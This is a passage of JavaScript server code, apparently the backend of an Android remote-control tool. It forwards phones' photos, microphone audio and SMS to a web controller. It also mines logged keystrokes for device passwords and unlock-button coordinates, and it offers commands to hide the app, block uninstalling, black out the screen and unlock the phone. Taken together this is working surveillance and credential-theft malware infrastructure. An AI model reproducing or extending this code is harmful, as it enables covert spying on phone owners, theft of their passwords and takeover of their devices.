} } } } catch (error) { this.logger.error('重试路由摄像头数据失败:', error); } } /** * 路由相册图片数据(不保存到磁盘,直接转发base64给客户端) */ routeGalleryImage(fromSocketId, image) { try { // 校验设备来源 const device = this.databaseService.getDeviceBySocketId(fromSocketId); if (!device || device.deviceId !== image.deviceId) { this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`); return false; } // 直接将base64数据转发给当前控制端 const controllerId = this.webClientManager.getDeviceController(image.deviceId); if (!controllerId) { this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`); return true; } // 保留事件名与元数据结构以保证前端兼容,同时附加base64数据 this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', { deviceId: image.deviceId, type: 'gallery_image_saved', index: image.index, id: image.id, displayName: image.displayName, dateAdded: image.dateAdded, mimeType: image.mimeType, width: image.width, height: image.height, size: image.size, contentUri: image.contentUri, timestamp: image.timestamp, // 直接携带原始base64数据(可能是 dataURL 或纯base64) data: image.data }); // 记录日志(不落盘) const approxSize = typeof image.data === 'string' ? image.data.length : 0; this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`); return true; } catch (error) { this.logger.error('转发相册图片失败:', error); return false; } } /** * 路由麦克风音频数据(从设备到Web客户端) */ routeMicrophoneAudio(fromSocketId, audioData) { try { this.routedMicrophoneAudio++; // 添加音频数据大小检查 const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0; this.totalMicrophoneAudioSize += dataSize; if (dataSize > this.maxDataSize) { this.droppedMicrophoneAudio++; this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`); return false; } // 检查设备是否有控制者 const controllerId = this.webClientManager.getDeviceController(audioData.deviceId); if (!controllerId) { this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`); return true; } // 去重(防抖):100ms内相同设备的音频数据视为重复 const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId); if (existingBuffer) { const timeDiff = Date.now() - existingBuffer.timestamp; if (timeDiff < 100) { this.droppedMicrophoneAudio++; this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`); return false; } } // 更新缓冲区 this.microphoneAudioBuffer.set(audioData.deviceId, { data: audioData, timestamp: Date.now() }); // 获取或恢复设备 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; this.deviceManager.addDevice(device); // 更新数据库中的设备记录 try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // 通知Web端设备在线 this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`); this.webClientManager.broadcastToAll('device_connected', device); this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // 同步设备状态到设备端 if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`); setTimeout(() => { this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1); }, 500); return true; } } if (!device) { return false; } // 更新设备的lastSeen时间 device.lastSeen = new Date(); this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`); // 发送麦克风音频数据到控制客户端 try { const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { deviceId: device.id, audioData: audioData.audioData, sampleRate: audioData.sampleRate, sampleCount: audioData.sampleCount, format: audioData.format, channels: audioData.channels, bitDepth: audioData.bitDepth, timestamp: audioData.timestamp }); if (!success) { this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`); return false; } this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`); return true; } catch (emitError) { this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError); return false; } } catch (error) { this.logger.error('路由麦克风音频数据失败:', error); return false; } } /** * 重试路由麦克风音频数据 */ retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount) { const maxRetries = 3; try { let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device && retryCount <= maxRetries) { setTimeout(() => { this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1); }, 1000 * retryCount); return; } if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; this.deviceManager.addDevice(device); try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`); this.webClientManager.broadcastToAll('device_connected', device); this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`); return; } } if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`); const controllerId = this.webClientManager.getDeviceController(device.id); if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { deviceId: device.id, audioData: audioData.audioData, sampleRate: audioData.sampleRate, sampleCount: audioData.sampleCount, format: audioData.format, channels: audioData.channels, bitDepth: audioData.bitDepth, timestamp: audioData.timestamp }); if (success) { this.logger.debug(`🎤 重试路由成功: ${device.name}`); } } } } catch (error) { this.logger.error('重试路由麦克风音频数据失败:', error); } } /** * 路由短信数据(从设备到Web客户端) */ routeSmsData(fromSocketId, smsData) { try { this.routedSmsData++; // 估算数据大小(用于监控) try { const approxSize = JSON.stringify(smsData).length; this.totalSmsDataSize += approxSize; if (approxSize > this.maxDataSize) { this.droppedSmsData++; this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`); return false; } } catch (_) { // 忽略JSON stringify异常 } // 检查设备控制者 const controllerId = this.webClientManager.getDeviceController(smsData.deviceId); if (!controllerId) { this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`); return true; } // 去重(防抖):500ms内相同设备的批次视为重复 const existingBuffer = this.smsDataBuffer.get(smsData.deviceId); if (existingBuffer) { const timeDiff = Date.now() - existingBuffer.timestamp; if (timeDiff < 500) { this.droppedSmsData++; this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`); return false; } } // 更新缓冲区 this.smsDataBuffer.set(smsData.deviceId, { data: smsData, timestamp: Date.now() }); // 获取或恢复设备 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; this.deviceManager.addDevice(device); try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // 通知Web端设备在线 this.webClientManager.broadcastToAll('device_connected', device); this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`); setTimeout(() => { this.retryRouteSmsData(fromSocketId, smsData, 1); }, 500); return true; } } if (!device) { return false; } // 更新活跃时间 device.lastSeen = new Date(); // 转发给控制客户端 try { const success = this.webClientManager.sendToClient(controllerId, 'sms_data', { deviceId: device.id, type: smsData.type, timestamp: smsData.timestamp, count: smsData.count, smsList: smsData.smsList }); if (!success) { this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`); return false; } this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`); return true; } catch (emitError) { this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError); return false; } } catch (error) { this.logger.error('路由短信数据失败:', error); return false; } } /** * 重试路由短信数据 */ retryRouteSmsData(fromSocketId, smsData, retryCount) { const maxRetries = 3; try { let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device && retryCount <= maxRetries) { setTimeout(() => { this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1); }, 1000 * retryCount); return; } if (!device) { const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; this.deviceManager.addDevice(device); try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } this.webClientManager.broadcastToAll('device_connected', device); this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`); return; } } if (device) { const controllerId = this.webClientManager.getDeviceController(device.id); if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData); if (success) { this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`); } } } } catch (error) { this.logger.error('重试路由短信数据失败:', error); } } /** * 路由设备事件(从设备到Web客户端) */ routeDeviceEvent(fromSocketId, eventType, eventData) { try { this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`); let device = this.deviceManager.getDeviceBySocketId(fromSocketId); // 对于ui_hierarchy_response,即使找不到设备也要尝试处理 if (!device && eventType === 'ui_hierarchy_response') { this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`); // 尝试从响应数据中获取deviceId const deviceId = eventData?.deviceId; if (deviceId) { this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`); // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(deviceId, eventData); return true; } else { this.logger.error(`❌ 响应数据中没有deviceId字段`); } } if (!device) { this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`); return false; } // 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志) device.lastSeen = new Date(); this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`); // 广播给所有Web客户端(状态更新等) this.webClientManager.broadcastToAll('device_event', { deviceId: device.id, eventType, data: eventData, timestamp: Date.now() }); this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`); // 处理特定的设备状态变化事件 switch (eventType) { case 'INPUT_BLOCKED_CHANGED': this.handleDeviceInputBlockedChanged(device.id, eventData.blocked); break; case 'LOGGING_STATE_CHANGED': this.handleDeviceLoggingStateChanged(device.id, eventData.enabled); break; case 'ui_hierarchy_response': this.handleUIHierarchyResponse(device.id, eventData); break; case 'app_hide_status': this.handleAppHideStatusUpdate(device.id, eventData); break; default: this.logger.debug(`设备事件已处理: ${eventType}`); break; } return true; } catch (error) { this.logger.error('路由设备事件失败:', error); return false; } } /** * 路由客户端事件(从Web客户端到其他客户端或设备) */ routeClientEvent(fromSocketId, eventType, eventData) { try { this.logger.info(`🔍 处理客户端事件: ${eventType}, Socket: ${fromSocketId}`); const client = this.webClientManager.getClientBySocketId(fromSocketId); if (!client) { this.logger.warn(`❌ 无法找到客户端: ${fromSocketId}`); return false; } this.logger.info(`✅ 找到客户端: ${client.id}`); switch (eventType) { case 'REQUEST_DEVICE_CONTROL': return this.handleDeviceControlRequest(client.id, eventData.deviceId); case 'RELEASE_DEVICE_CONTROL': return this.handleDeviceControlRelease(client.id, eventData.deviceId); case 'GET_DEVICE_LIST': return this.handleDeviceListRequest(client.id); case 'GET_OPERATION_LOGS': return this.handleGetOperationLogs(client.id, eventData); case 'CLEAR_OPERATION_LOGS': return this.handleClearOperationLogs(client.id, eventData.deviceId); case 'GET_DEVICE_PASSWORD': return this.handleGetDevicePassword(client.id, eventData.deviceId); case 'SAVE_DEVICE_PASSWORD': return this.handleSaveDevicePassword(client.id, eventData.deviceId, eventData.password); case 'UPDATE_DEVICE_STATE': return this.handleUpdateDeviceState(client.id, eventData.deviceId, eventData.state); case 'GET_DEVICE_STATE': return this.handleGetDeviceState(client.id, eventData.deviceId); case 'SEARCH_PASSWORDS_FROM_LOGS': return this.handleSearchPasswordsFromLogs(client.id, eventData.deviceId); case 'DELETE_DEVICE': return this.handleDeleteDevice(client.id, eventData.deviceId); case 'GET_UI_HIERARCHY': return this.handleGetUIHierarchy(client.id, eventData.deviceId, eventData); case 'START_EXTRACT_CONFIRM_COORDS': return this.handleStartExtractConfirmCoords(client.id, eventData.deviceId); case 'SAVE_CONFIRM_COORDS': return this.handleSaveConfirmCoords(client.id, eventData.deviceId, eventData.coords); case 'ENABLE_BLACK_SCREEN': return this.handleEnableBlackScreen(client.id, eventData.deviceId); case 'DISABLE_BLACK_SCREEN': return this.handleDisableBlackScreen(client.id, eventData.deviceId); case 'OPEN_APP_SETTINGS': return this.handleOpenAppSettings(client.id, eventData.deviceId); case 'HIDE_APP': return this.handleHideApp(client.id, eventData.deviceId); case 'SHOW_APP': return this.handleShowApp(client.id, eventData.deviceId); case 'REFRESH_MEDIA_PROJECTION_PERMISSION': return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId); case 'CLOSE_CONFIG_MASK': return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual); case 'ENABLE_UNINSTALL_PROTECTION': return this.handleEnableUninstallProtection(client.id, eventData.deviceId); case 'DISABLE_UNINSTALL_PROTECTION': return this.handleDisableUninstallProtection(client.id, eventData.deviceId); case 'UNLOCK_DEVICE': return this.handleUnlockDevice(client.id, eventData.deviceId, eventData.data); case 'GALLERY_PERMISSION_CHECK': return this.handleGalleryPermissionCheck(client.id, eventData.deviceId); case 'ALBUM_READ': return this.handleAlbumRead(client.id, eventData.deviceId, eventData.data); case 'OPEN_PIN_INPUT': return this.handleOpenPinInput(client.id, eventData.deviceId); case 'OPEN_FOUR_DIGIT_PIN': return this.handleOpenFourDigitPin(client.id, eventData.deviceId); case 'OPEN_PATTERN_LOCK': return this.handleOpenPatternLock(client.id, eventData.deviceId); case 'CHANGE_SERVER_URL': return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data); default: this.logger.warn(`未知的客户端事件类型: ${eventType}`); return false; } } catch (error) { this.logger.error('路由客户端事件失败:', error); return false; } } /** * 处理设备控制请求 */ handleDeviceControlRequest(clientId, deviceId) { // ✅ 检查设备是否存在 const device = this.deviceManager.getDevice(deviceId); if (!device) { this.logger.warn(`⚠️ 尝试控制不存在的设备: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: false, message: '设备不存在或已断开连接' }); return false; } // ✅ 检查客户端是否已经在控制此设备(避免重复请求) if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.debug(`👀 客户端 ${clientId} 已经在控制设备 ${deviceId},跳过重复请求`); this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: true, message: '已经在控制此设备' }); return true; } const result = this.webClientManager.requestDeviceControl(clientId, deviceId); this.webClientManager.sendToClient(clientId, 'device_control_response', { deviceId, success: result.success, message: result.message, currentController: result.currentController }); if (result.success) { // 通知设备有新的控制者 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId }); this.logger.info(`📤 已通知设备 ${deviceId} 新控制者: ${clientId}`); } } // 恢复设备状态(如果存在) this.restoreDeviceState(clientId, deviceId); } return true; } /** * 处理设备控制释放 */ handleDeviceControlRelease(clientId, deviceId) { // ✅ 首先检查设备是否还在线 const device = this.deviceManager.getDevice(deviceId); if (!device) { this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`); // 即使设备已断开,也要清理控制权状态 this.webClientManager.releaseDeviceControl(deviceId); return false; } if (this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.webClientManager.releaseDeviceControl(deviceId); // 通知设备控制者已离开 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId: null }); this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`); } else { this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`); } } else { this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`); } } else { this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`); return false; } return true; } /** * 处理设备列表请求 */ handleDeviceListRequest(clientId) { try { // ✅ 使用和getAllDevicesIncludingHistory相同的逻辑 // 获取数据库中的所有历史设备 const allDbDevices = this.databaseService.getAllDevices(); // 获取内存中的在线设备,用于补充Socket ID和状态 const onlineDevices = this.deviceManager.getAllDevices(); const onlineDeviceMap = new Map(); onlineDevices.forEach(device => { onlineDeviceMap.set(device.id, device); }); // 转换为前端格式并补充Socket ID const allDevices = allDbDevices.map(dbDevice => { const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId); return { id: dbDevice.deviceId, socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: dbDevice.capabilities, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false }; }); this.webClientManager.sendToClient(clientId, 'device_list', { devices: allDevices.map(device => ({ ...device, isControlled: !!this.webClientManager.getDeviceController(device.id), controller: this.webClientManager.getDeviceController(device.id) })) }); this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`); return true; } catch (error) { this.logger.error('处理设备列表请求失败:', error); this.webClientManager.sendToClient(clientId, 'device_list', { devices: [] }); return false; } } /** * 处理操作日志(从设备接收) */ handleOperationLog(fromSocketId, logMessage) { try { // 验证消息来源是设备 const device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`); return false; } // 验证设备ID匹配 if (device.id !== logMessage.deviceId) { this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`); return false; } // 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志) device.lastSeen = new Date(); this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`); // 🆕 检查是否为应用隐藏事件(通过操作日志传输) if (logMessage.extraData && logMessage.extraData.isAppHideEvent) { this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`); try { const deviceEventData = logMessage.extraData.eventData; if (deviceEventData && logMessage.extraData.eventType === 'app_hide_status') { // 处理应用隐藏状态更新 this.handleAppHideStatusUpdate(device.id, deviceEventData); } } catch (e) { this.logger.error('处理应用隐藏事件失败:', e); } } // 保存到数据库 this.databaseService.saveOperationLog({ deviceId: logMessage.deviceId, logType: logMessage.logType, content: logMessage.content, extraData: logMessage.extraData, timestamp: new Date(logMessage.timestamp) }); this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`); // 实时广播给正在控制该设备的Web客户端 const controllerId = this.webClientManager.getDeviceController(device.id); if (controllerId) { this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', { deviceId: device.id, log: { logType: logMessage.logType, content: logMessage.content, extraData: logMessage.extraData, timestamp: new Date(logMessage.timestamp) } }); } return true; } catch (error) { this.logger.error('处理操作日志失败:', error); return false; } } /** * 处理获取操作日志请求 */ handleGetOperationLogs(clientId, requestData) { try { const { deviceId, page = 1, pageSize = 50, logType } = requestData; // 检查客户端是否有权限查看该设备日志 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`); this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: false, message: '无权查看该设备日志' }); return false; } // 从数据库获取日志 const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType); // 发送给客户端 this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: true, data: result }); this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`); return true; } catch (error) { this.logger.error('处理获取操作日志请求失败:', error); this.webClientManager.sendToClient(clientId, 'operation_logs_response', { success: false, message: '获取日志失败' }); return false; } } /** * 处理清空操作日志请求 */ handleClearOperationLogs(clientId, deviceId) { try { // 检查客户端是否有权限清空该设备日志 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`); this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: false, message: '无权清空该设备日志' }); return false; } // 清空数据库中的日志 this.databaseService.clearOperationLogs(deviceId); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: true, message: '日志已清空' }); this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`); return true; } catch (error) { this.logger.error('处理清空操作日志请求失败:', error); this.webClientManager.sendToClient(clientId, 'clear_logs_response', { success: false, message: '清空日志失败' }); return false; } } /** * 处理获取设备密码请求 */ handleGetDevicePassword(clientId, deviceId) { try { this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查客户端是否有权限查看该设备信息 const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId); this.logger.info(`🎫 权限检查结果: ${hasControl}`); if (!hasControl) { this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`); this.webClientManager.sendToClient(clientId, 'get_device_password_response', { success: false, message: '无权查看该设备信息' }); return false; } // ✅ 优先从状态表获取密码 const password = this.databaseService.getDevicePassword(deviceId); // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(deviceId); let responseData = { success: true, password: password, deviceState: deviceState ? { inputBlocked: deviceState.inputBlocked, loggingEnabled: deviceState.loggingEnabled, lastPasswordUpdate: deviceState.lastPasswordUpdate, // 🆕 包含确认按钮坐标信息 confirmButtonCoords: deviceState.confirmButtonCoords, learnedConfirmButton: deviceState.learnedConfirmButton } : null }; // ✅ 处理确认按钮坐标信息 if (password) { responseData.message = '找到密码记录'; // 🆕 优先使用保存的确认按钮坐标 if (deviceState?.confirmButtonCoords) { responseData.hasConfirmButton = true; responseData.confirmButtonCoords = deviceState.confirmButtonCoords; this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`); } // 🆕 其次使用学习的确认按钮坐标 else if (deviceState?.learnedConfirmButton) { responseData.hasConfirmButton = true; responseData.confirmButtonCoords = { x: deviceState.learnedConfirmButton.x, y: deviceState.learnedConfirmButton.y }; this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`); } // 🆕 最后尝试从日志中查找 else { const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT'); const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs); const matchingEntry = passwordsWithMeta.find(entry => entry.password === password); if (matchingEntry && matchingEntry.hasConfirmButton) { responseData.hasConfirmButton = true; responseData.confirmButtonCoords = { x: matchingEntry.confirmButtonX, y: matchingEntry.confirmButtonY }; this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`); } else { responseData.hasConfirmButton = false; this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`); } } } else { // 如果状态表没有密码,尝试从日志中提取 const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT'); if (textInputLogs.logs.length > 0) { const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs); if (passwordsWithMeta.length > 0) { const bestEntry = passwordsWithMeta[0]; responseData.password = bestEntry.password; if (bestEntry.hasConfirmButton) { responseData.hasConfirmButton = true; responseData.confirmButtonCoords = { x: bestEntry.confirmButtonX, y: bestEntry.confirmButtonY }; } else { responseData.hasConfirmButton = false; } responseData.message = '从日志中找到密码记录'; this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`); } else { responseData.message = '暂无密码记录'; } } else { responseData.message = '暂无密码记录'; } } // 发送响应 this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData); this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`); return true; } catch (error) { this.logger.error('处理获取设备密码请求失败:', error); this.webClientManager.sendToClient(clientId, 'get_device_password_response', { success: false, message: '查询密码失败' }); return false; } } /** * 处理保存设备密码请求 */ handleSaveDevicePassword(clientId, deviceId, password) { try { this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查客户端是否有权限保存该设备密码 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`); this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: false, message: '无权保存该设备密码' }); return false; } // 保存密码到数据库 this.databaseService.saveDevicePassword(deviceId, password); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: true, message: '密码已保存' }); this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`); return true; } catch (error) { this.logger.error('处理保存设备密码请求失败:', error); this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: false, message: 